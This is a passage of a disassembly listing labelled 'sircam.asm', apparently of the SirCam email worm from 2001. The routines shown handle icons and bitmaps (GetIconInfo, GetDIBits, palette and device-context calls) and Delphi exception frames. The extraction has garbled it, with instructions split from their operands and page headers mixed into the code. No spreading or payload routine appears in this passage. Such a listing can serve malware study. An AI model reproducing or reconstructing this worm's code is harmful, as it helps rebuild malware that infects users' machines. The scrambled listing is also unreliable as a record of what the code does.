mov mov mov cmp jnz call edx, [ebp-8] [edx], eax eax, [ebp-8] dword ptr [eax], 0 short loc_414C83 sub_41442C xor pop pop pop mov push ; CODE XREF: CODE:00414C7C\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_414CA3 loc_414C83: loc_414C90: ; CODE XREF: CODE:00414CA1\031j mov edx, [ebp-18h] mov eax, [ebp-30h] call sub_4025B0 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414C9C: ; DATA XREF: CODE:00414C11\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_414C90 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414CA3: xor pop pop pop mov push ; DATA XREF: CODE:00414C8B\030o eax, eax edx ecx ecx fs:[eax], edx offset loc_414CC6 loc_414CB0: ; CODE XREF: CODE:00414CC4\031j mov eax, [ebp-40h] mov edx, [eax+8] mov eax, [ebp-2Ch] call sub_4025B0 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414CBF: ; DATA XREF: CODE:00414B77\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_414CB0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414CC6: xor pop pop pop mov push ; DATA XREF: CODE:00414CAB\030o eax, eax edx ecx ecx fs:[eax], edx offset loc_414CE6 loc_414CD3: ; CODE XREF: CODE:00414CE4\031j mov edx, [ebp-14h] mov eax, [ebp-10h] call sub_4025B0 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414CDF: ; DATA XREF: sub_4149E8+2C\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_414CD3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 558 loc_414CE6: ; DATA XREF: CODE:00414CCE\030o pop edi pop esi pop ebx mov esp, ebp pop ebp retn 0Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_414CF0 proc near var_50 var_4C var_44 var_42 var_3C = = = = = ; CODE XREF: sub_414DD4+12\031p ; sub_414E38+16\031p dword ptr -50h dword ptr -4Ch word ptr -44h word ptr -42h dword ptr -3Ch push ebx push esi push edi add esp, 0FFFFFFACh mov esi, ecx mov ebx, edx xor edx, edx mov [esp+54h+var_3C], edx push esp push 54h push eax call j_GetObjectA test eax, eax jnz short loc_414D14 call sub_4143C0 jmp short loc_414D53 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414D14: ; CODE XREF: sub_414CF0+1B\030j cmp eax, 40h jl short loc_414D31 cmp [esp+54h+var_3C], 28h jb short loc_414D31 push esi mov edi, ebx lea esi, [esp+58h+var_3C] mov ecx, 0Ah repe movsd pop esi jmp short loc_414D53 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414D31: ; CODE XREF: sub_414CF0+27\030j ; sub_414CF0+2E\030j mov xor mov call mov mov mov mov mov eax, ebx ecx, ecx edx, 28h sub_4028D4 dword ptr [ebx], 28h eax, [esp+54h+var_50] [ebx+4], eax eax, [esp+54h+var_4C] [ebx+8], eax loc_414D53: ; CODE XREF: sub_414CF0+22\030j ; sub_414CF0+3F\030j mov eax, esi sircam.asm Fri Aug 10 12:42:44 2001 559 sub eax, 2 jz short loc_414D69 dec eax sub eax, 0Eh jb short loc_414D71 sub eax, 0F0h jb short loc_414D7C jmp short loc_414D87 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414D69: ; CODE XREF: sub_414CF0+68\030j mov word ptr [ebx+0Eh], 1 jmp short loc_414D95 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414D71: ; CODE XREF: sub_414CF0+6E\030j mov word ptr [ebx+0Eh], 4 mov [ebx+20h], esi jmp short loc_414D95 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414D7C: ; CODE XREF: sub_414CF0+75\030j mov word ptr [ebx+0Eh], 8 mov [ebx+20h], esi jmp short loc_414D95 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414D87: mov imul mov ; CODE XREF: sub_414CF0+77\030j ax, [esp+54h+var_42] [esp+54h+var_44] [ebx+0Eh], ax mov mov cmp jnb mov ; CODE XREF: sub_414CF0+7F\030j ; sub_414CF0+8A\030j ... word ptr [ebx+0Ch], 1 eax, [ebx+20h] eax, [ebx+24h] short loc_414DA6 [ebx+24h], eax loc_414D95: loc_414DA6: cmp jnz movzx mov mov call mov mov cdq xor sub imul mov ; CODE XREF: sub_414CF0+B1\030j dword ptr [ebx+14h], 0 short loc_414DCD edx, word ptr [ebx+0Eh] eax, [ebx+4] ecx, 20h sub_414664 ecx, eax eax, [ebx+8] eax, edx eax, edx ecx, eax [ebx+14h], ecx loc_414DCD: sub_414CF0 ; CODE XREF: sub_414CF0+BA\030j add pop pop pop retn endp esp, 54h edi esi ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_414DD4 proc near ; CODE XREF: sub_414EF8+56\031p ; sub_414EF8+66\031p sircam.asm var_28 var_1A var_18 var_14 var_8 arg_0 Fri Aug 10 12:42:44 2001 = = = = = = 560 byte ptr -28h word ptr -1Ah byte ptr -18h dword ptr -14h dword ptr -8 dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h push ebx push esi mov esi, ecx mov ebx, edx lea edx, [ebp+var_28] mov ecx, [ebp+arg_0] call sub_414CF0 mov ax, [ebp+var_1A] cmp ax, 8 jbe short loc_414E06 mov dword ptr [ebx], 28h test [ebp+var_18], 3 jz short loc_414E2A add dword ptr [ebx], 0Ch jmp short loc_414E2A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414E06: ; CODE XREF: sub_414DD4+1F\030j mov edx, [ebp+var_8] test edx, edx jnz short loc_414E20 mov ecx, eax mov eax, 1 shl eax, cl shl eax, 2 add eax, 28h mov [ebx], eax jmp short loc_414E2A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414E20: ; CODE XREF: sub_414DD4+37\030j mov shl add mov loc_414E2A: sub_414DD4 mov mov pop pop mov pop retn endp eax, edx eax, 2 eax, 28h [ebx], eax ; CODE XREF: sub_414DD4+2B\030j ; sub_414DD4+30\030j ... eax, [ebp+var_14] [esi], eax esi ebx esp, ebp ebp 4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_414E38 proc near var_C var_8 = dword ptr -0Ch = dword ptr -8 ; CODE XREF: sub_414EF8+C7\031p ; sub_414EF8+DA\031p sircam.asm var_1 arg_0 arg_4 Fri Aug 10 12:42:44 2001 561 = byte ptr -1 = dword ptr 8 = dword ptr 0Ch push mov add push push push mov mov mov mov mov mov call xor mov push call mov xor push push push mov test jz push push mov push call mov mov push call ebp ebp, esp esp, 0FFFFFFF4h ebx esi edi ebx, ecx edi, edx esi, eax edx, ebx ecx, [ebp+arg_0] eax, esi sub_414CF0 eax, eax [ebp+var_8], eax 0 j_CreateCompatibleDC [ebp+var_C], eax eax, eax ebp offset loc_414ED5 dword ptr fs:[eax] fs:[eax], esp edi, edi short loc_414E8C 0 edi eax, [ebp+var_C] eax j_SelectPalette [ebp+var_8], eax eax, [ebp+var_C] eax j_RealizePalette push push mov push mov push push push mov push call test setnz xor pop pop pop mov push ; CODE XREF: sub_414E38+3A\030j 0 ebx eax, [ebp+arg_4] eax eax, [ebx+8] eax 0 esi eax, [ebp+var_C] eax j_GetDIBits eax, eax [ebp+var_1] eax, eax edx ecx ecx fs:[eax], edx offset loc_414EDC cmp jz push mov push mov push call [ebp+var_8], 0 short loc_414ECB 0 eax, [ebp+var_8] eax eax, [ebp+var_C] eax j_SelectPalette loc_414E8C: loc_414EB6: ; CODE XREF: CODE:00414EDA\031j sircam.asm Fri Aug 10 12:42:44 2001 loc_414ECB: sub_414E38 562 ; CODE XREF: sub_414E38+82\030j mov eax, [ebp+var_C] push eax call j_DeleteDC retn endp ; sp = -20h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414ED5: ; DATA XREF: sub_414E38+2D\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_414EB6 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414EDC: ; DATA XREF: sub_414E38+79\030o mov al, [ebp-1] pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_414EEC proc near ; CODE XREF: sub_414EF8+38\031p test eax, eax jnz short locret_414EF5 call nullsub_1 locret_414EF5: sub_414EEC ; CODE XREF: sub_414EEC+2\030j retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_414EF8 proc near var_54 var_53 var_52 var_4C var_48 var_44 var_38 var_34 var_30 var_2A var_28 var_26 var_24 var_20 var_1C var_18 var_14 var_10 var_C var_8 var_1 = = = = = = = = = = = = = = = = = = = = = byte ptr -54h byte ptr -53h word ptr -52h dword ptr -4Ch dword ptr -48h byte ptr -44h dword ptr -38h dword ptr -34h dword ptr -30h byte ptr -2Ah word ptr -28h word ptr -26h dword ptr -24h dword ptr -20h dword ptr -1Ch dword ptr -18h dword ptr -14h dword ptr -10h dword ptr -0Ch dword ptr -8 byte ptr -1 push ebp ; CODE XREF: sub_4157DC+7E\031p sircam.asm Fri Aug 10 12:42:44 2001 mov add push push push mov mov mov lea xor mov call lea xor mov call lea push push call call xor push push push mov push lea lea mov call push lea lea mov call xor mov xor mov xor mov xor mov xor push push push mov mov call mov mov call mov mov call mov mov call mov mov push push mov xor mov call mov push ebp, esp esp, 0FFFFFFACh ebx esi edi [ebp+var_1], cl esi, edx ebx, eax eax, [ebp+var_2A] ecx, ecx edx, 6 sub_4028D4 eax, [ebp+var_54] ecx, ecx edx, 10h sub_4028D4 eax, [ebp+var_44] eax esi j_GetIconInfo sub_414EEC edx, edx ebp offset loc_4150E6 dword ptr fs:[edx] fs:[edx], esp 2 ecx, [ebp+var_10] edx, [ebp+var_8] eax, [ebp+var_38] sub_414DD4 10h ecx, [ebp+var_14] edx, [ebp+var_C] eax, [ebp+var_34] sub_414DD4 eax, eax [ebp+var_18], eax eax, eax [ebp+var_1C], eax eax, eax [ebp+var_20], eax eax, eax [ebp+var_24], eax edx, edx ebp offset loc_4150BF dword ptr fs:[edx] fs:[edx], esp eax, [ebp+var_8] sub_406D34 [ebp+var_18], eax eax, [ebp+var_10] sub_406D34 [ebp+var_1C], eax eax, [ebp+var_C] sub_406D34 [ebp+var_20], eax eax, [ebp+var_14] sub_406D34 [ebp+var_24], eax eax, [ebp+var_1C] eax 2 ecx, [ebp+var_18] edx, edx eax, [ebp+var_38] sub_414E38 eax, [ebp+var_24] eax 563 sircam.asm Fri Aug 10 12:42:44 2001 564 push mov xor mov call cmp jz mov add add add mov lea mov mov mov call 10h ecx, [ebp+var_20] edx, edx eax, [ebp+var_34] sub_414E38 [ebp+var_1], 0 short loc_414FFB eax, [ebp+var_C] eax, 16h eax, [ebp+var_14] eax, [ebp+var_10] [ebp+var_30], eax edx, [ebp+var_30] ecx, 4 eax, ebx esi, [eax] dword ptr [esi+8] mov mov lea mov mov mov call mov mov mov mov mov mov mov imul mov mov add add mov mov lea mov mov mov call mov mov add mov mov mov mov call mov mov mov mov call mov mov mov mov call xor pop pop pop mov push ; CODE XREF: sub_414EF8+E3\030j [ebp+var_28], 1 [ebp+var_26], 1 edx, [ebp+var_2A] ecx, 6 eax, ebx esi, [eax] dword ptr [esi+8] esi, [ebp+var_20] eax, esi dl, [eax+4] [ebp+var_54], dl dl, [eax+8] [ebp+var_53], dl dx, [eax+0Ch] dx, [eax+0Eh] [ebp+var_52], dx eax, [ebp+var_C] eax, [ebp+var_14] eax, [ebp+var_10] [ebp+var_4C], eax [ebp+var_48], 16h edx, [ebp+var_54] ecx, 10h eax, ebx edi, [eax] dword ptr [edi+8] eax, esi edx, [eax+8] [eax+8], edx edx, [ebp+var_20] ecx, [ebp+var_C] eax, ebx esi, [eax] dword ptr [esi+8] edx, [ebp+var_24] ecx, [ebp+var_14] eax, ebx esi, [eax] dword ptr [esi+8] edx, [ebp+var_1C] ecx, [ebp+var_10] eax, ebx ebx, [eax] dword ptr [ebx+8] eax, eax edx ecx ecx fs:[eax], edx offset loc_4150C6 loc_414FFB: sircam.asm loc_415092: sub_414EF8 Fri Aug 10 12:42:44 2001 565 ; CODE XREF: CODE:004150C4\031j mov edx, [ebp+var_C] mov eax, [ebp+var_20] call sub_4025B0 mov edx, [ebp+var_14] mov eax, [ebp+var_24] call sub_4025B0 mov edx, [ebp+var_8] mov eax, [ebp+var_18] call sub_4025B0 mov edx, [ebp+var_10] mov eax, [ebp+var_1C] call sub_4025B0 retn endp ; sp = -84h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4150BF: ; DATA XREF: sub_414EF8+82\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_415092 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4150C6: xor pop pop pop mov push ; DATA XREF: sub_414EF8+195\030o eax, eax edx ecx ecx fs:[eax], edx offset loc_4150ED loc_4150D3: ; CODE XREF: CODE:004150EB\031j mov eax, [ebp-34h] push eax call j_DeleteObject mov eax, [ebp-38h] push eax call j_DeleteObject retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4150E6: ; DATA XREF: sub_414EF8+40\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_4150D3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4150ED: ; DATA XREF: CODE:004150CE\030o pop pop pop mov pop retn edi esi ebx esp, ebp ebp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4150F4 proc near push push test jz add call ebx esi dl, dl short loc_415102 esp, 0FFFFFFF0h sub_402CDC mov ebx, edx ; CODE XREF: sub_4155EC+17\031p ; DATA XREF: CODE:004134F0\030o loc_415102: ; CODE XREF: sub_4150F4+4\030j sircam.asm Fri Aug 10 12:42:44 2001 mov xor mov call mov test jz call pop add esi, eax edx, edx eax, esi sub_402BAC eax, esi bl, bl short loc_415124 sub_402D34 large dword ptr fs:0 esp, 0Ch mov pop pop retn endp eax, esi esi ebx loc_415124: sub_4150F4 566 ; CODE XREF: sub_4150F4+1F\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_41512C proc near ; DATA XREF: CODE:004134F4\030o ; CODE:00413694\030o push mov cmp jz mov mov mov call ebx byte ptr [eax+18h], 1 word ptr [eax+0Ah], 0 short loc_415142 ebx, eax edx, eax eax, [ebx+0Ch] dword ptr [ebx+8] pop retn endp ebx loc_415142: sub_41512C ; CODE XREF: sub_41512C+A\030j ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_415144 proc near arg_0 = dword ptr push mov push mov mov cmp jz mov mov mov mov mov call test jz mov mov mov mov mov call ; CODE XREF: sub_41519C+22\031p 8 ebp ebp, esp ebx eax, [ebp+arg_0] eax, [eax-4] dword ptr [eax+20h], 0 short loc_41518B eax, [ebp+arg_0] eax, [eax-4] ebx, [eax+20h] eax, ebx edx, ds:off_413498 sub_402C40 al, al short loc_415186 eax, [ebp+arg_0] edx, ebx eax, [ebp+arg_0] eax, [eax-8] ecx, [eax] dword ptr [ecx+18h] sircam.asm Fri Aug 10 12:42:44 2001 567 test al, al jz short loc_415186 xor eax, eax jmp short loc_415198 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_415186: ; CODE XREF: sub_415144+28\030j ; sub_415144+3C\030j mov al, 1 pop ebx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41518B: mov mov mov call xor ; CODE XREF: sub_415144+E\030j eax, [ebp+arg_0] eax, [eax-8] edx, [eax] dword ptr [edx+1Ch] al, 1 loc_415198: sub_415144 ; CODE XREF: sub_415144+40\030j pop pop retn endp ebx ebp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_41519C proc near ; DATA XREF: CODE:004134E8\030o ; CODE:00413688\030o var_8 var_4 = dword ptr -8 = dword ptr -4 sub_41519C push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx mov [ebp+var_4], edx mov [ebp+var_8], eax mov eax, [ebp+var_8] push eax mov eax, [eax] mov eax, [eax+30h] push eax mov eax, [ebp+var_8] push eax mov eax, [eax] mov eax, [eax+44h] push eax push ebp call sub_415144 pop ecx mov ecx, eax mov edx, offset aData ; "Data" mov eax, [ebp+var_4] mov ebx, [eax] call dword ptr [ebx+8] pop ebx pop ecx pop ecx pop ebp retn endp ; sp = -10h sircam.asm Fri Aug 10 12:42:44 2001 568 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dd 0FFFFFFFFh, 4 aData db ’Data’,0 ; DATA XREF: sub_41519C+2A\030o align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4151E8 proc near var_C var_8 var_1 = dword ptr -0Ch = dword ptr -8 = byte ptr -1 push mov add push push push mov mov test jz mov call mov mov call cmp jz ; DATA XREF: CODE:004134FC\030o ; CODE:0041369C\030o ebp ebp, esp esp, 0FFFFFFF4h ebx esi edi esi, edx ebx, eax esi, esi short loc_41520D eax, ebx sub_402B58 edi, eax eax, esi sub_402B58 edi, eax short loc_415211 loc_41520D: ; CODE XREF: sub_4151E8+F\030j xor eax, eax jmp short loc_415213 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_415211: ; CODE XREF: sub_4151E8+23\030j mov al, 1 mov mov mov call test jnz mov mov call test jz ; CODE XREF: sub_4151E8+27\030j [ebp+var_1], al eax, ebx edx, [eax] dword ptr [edx+1Ch] al, al short loc_41522C eax, esi edx, [eax] dword ptr [edx+1Ch] al, al short loc_415250 mov mov call test jz mov mov call test jnz ; CODE XREF: sub_4151E8+37\030j eax, ebx edx, [eax] dword ptr [edx+1Ch] al, al short loc_415242 eax, esi edx, [eax] dword ptr [edx+1Ch] al, al short loc_415246 xor eax, eax loc_415213: loc_41522C: loc_415242: ; CODE XREF: sub_4151E8+4D\030j sircam.asm Fri Aug 10 12:42:44 2001 569 jmp short loc_415248 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_415246: ; CODE XREF: sub_4151E8+58\030j mov al, 1 loc_415248: ; CODE XREF: sub_4151E8+5C\030j mov [ebp+var_1], al jmp loc_415320 ; 